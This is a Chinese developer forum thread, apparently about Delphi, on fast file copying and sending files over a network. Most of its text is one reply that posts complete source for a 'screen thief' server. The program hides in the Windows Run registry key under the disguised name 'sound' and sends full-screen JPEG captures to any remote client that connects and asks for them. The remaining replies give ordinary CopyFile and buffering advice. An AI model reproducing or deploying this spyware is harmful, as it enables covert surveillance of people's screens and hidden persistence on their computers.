用无类型文件
BlockRead读
BlockWrite写
或直接用CopyFile函数

解决方案 »

  1.   

    直接调用API函数好了,方便快捷。
    BOOL CopyFile(    LPCTSTR lpExistingFileName, // pointer to name of an existing file 
        LPCTSTR lpNewFileName, // pointer to filename to copy to 
        BOOL bFailIfExists  // flag for operation if file exists 
       );Sample:
    CopyFile('a.txt', 'b.txt', false);
      

  2.   

    具体怎么实现?
    我是想用在网络上传输文件之用,有例程吗?
    有的话,可以发到[email protected]
    Thank You All Of You!
      

  3.   

    网络传输?
    可以先用流读到一个buffer中,然后再发送
    给你个发送屏幕的代码
    {屏幕大盗服务端,如果您在此基础上进行了修改,请给我发一份!
    作者:张文健
    个人主页:http://xnzhwj.yeah.net
    Email:[email protected]}
    unit Unit_server;interfaceuses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
      ScktComp, ExtCtrls, StdCtrls,jpeg,registry,shellapi, Buttons;type
      TForm1 = class(TForm)
        ServerSocket1: TServerSocket;
        procedure Button1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure ServerSocket1ClientRead(Sender: TObject;
          Socket: TCustomWinSocket);
        procedure ServerSocket1ClientError(Sender: TObject;
          Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
          var ErrorCode: Integer);
        procedure ServerSocket1ClientDisconnect(Sender: TObject;
          Socket: TCustomWinSocket);
      private
       procedure sendscreen();
       procedure snapscreen();
      public
        { Public declarations }
      end;var
      Form1: TForm1;implementation
    const BufSize=2048;
    var
    LeftSize:Longint;
    jpegStream:TMemoryStream;
    {$R *.DFM}
    procedure TForm1.sendscreen();
    var
    sendsize:longint;
    Buf:array[0..BufSize-1] of char;
    begin
    if jpegstream.Size =0 then snapscreen();
    if LeftSize>BufSize then SendSize:=BufSize else SendSize:=LeftSize;
    jpegStream.ReadBuffer(Buf,sendsize);
    LeftSize:=LeftSize-SendSize;
    if LeftSize=0 then jpegStream.Clear;
    try
    serversocket1.Socket.Connections[0].SendBuf (buf,sendsize);
    except
    jpegstream.Clear ;
    end;
    end;procedure TForm1.snapscreen();
    var
    bmpscreen:Tbitmap;
    jpegscreen:Tjpegimage;
    FullscreenCanvas:TCanvas;
    dc:HDC;
    sourceRect, destRect: TRect;
    begin
    dc:=getdc(0);
    fullscreencanvas:=Tcanvas.Create;
    fullscreencanvas.Handle:=dc;
    bmpscreen:=Tbitmap.create;
    bmpscreen.Width :=screen.Width ;
    bmpscreen.Height :=screen.Height ;
    sourcerect:=rect(0,0,screen.Width ,screen.Height );
    destrect:= rect(0,0,screen.Width ,screen.Height);
    bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);
    jpegscreen:=Tjpegimage.Create ;
    jpegscreen.Assign (bmpscreen);
    jpegscreen.CompressionQuality:=40;
    jpegscreen.SaveToStream (jpegStream);
    jpegstream.Position :=0;
    LeftSize:=jpegStream.Size;
    FullscreenCanvas.Free;
    bmpscreen.Free;
    jpegscreen.Free ;
    ReleaseDC(0, DC);
    end;procedure TForm1.Button1Click(Sender: TObject);
    begin
    snapscreen();
    end;procedure TForm1.FormCreate(Sender: TObject);
    var
    reg:Tregistry;
    begin
    reg:=Tregistry.Create ;
    reg.RootKey :=HKEY_LOCAL_MACHINE;
    if not reg.KeyExists('SOFTWARE\screen-thieve') then begin
    reg.CreateKey ('SOFTWARE\screen-thieve');
    reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
    reg.WriteString('sound',application.ExeName );
    end;
    reg.CloseKey ;
    jpegStream:=TmemoryStream.Create ;
    end;
    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    var
    rstr:string;
    begin
    rstr:=socket.ReceiveText;
    if rstr ='show' then
    begin
    sendscreen();
    end;
    if rstr='stop' then jpegstream.Clear;
    end;procedure TForm1.ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    begin
    errorcode:=0;
    jpegstream.Clear;
    end;procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
    jpegstream.Clear;
    end;end.
      

  4.   

    -->我试过逐字节读取然后再写
    为什么要逐字节呢?
    先读64M,再写64M就会快的多了…………
      

  5.   

    用系统自带的copyfile,肯定很快的
      

  6.   

    像BADCOPY就是自己控制一次读取的字节数!这个值不能大,不能小,大了内存不够(要用虚拟内存,慢),小了就更慢!要做专业的拷贝软件,还是自己写,不要用系统函数,也不用API,这样更灵活!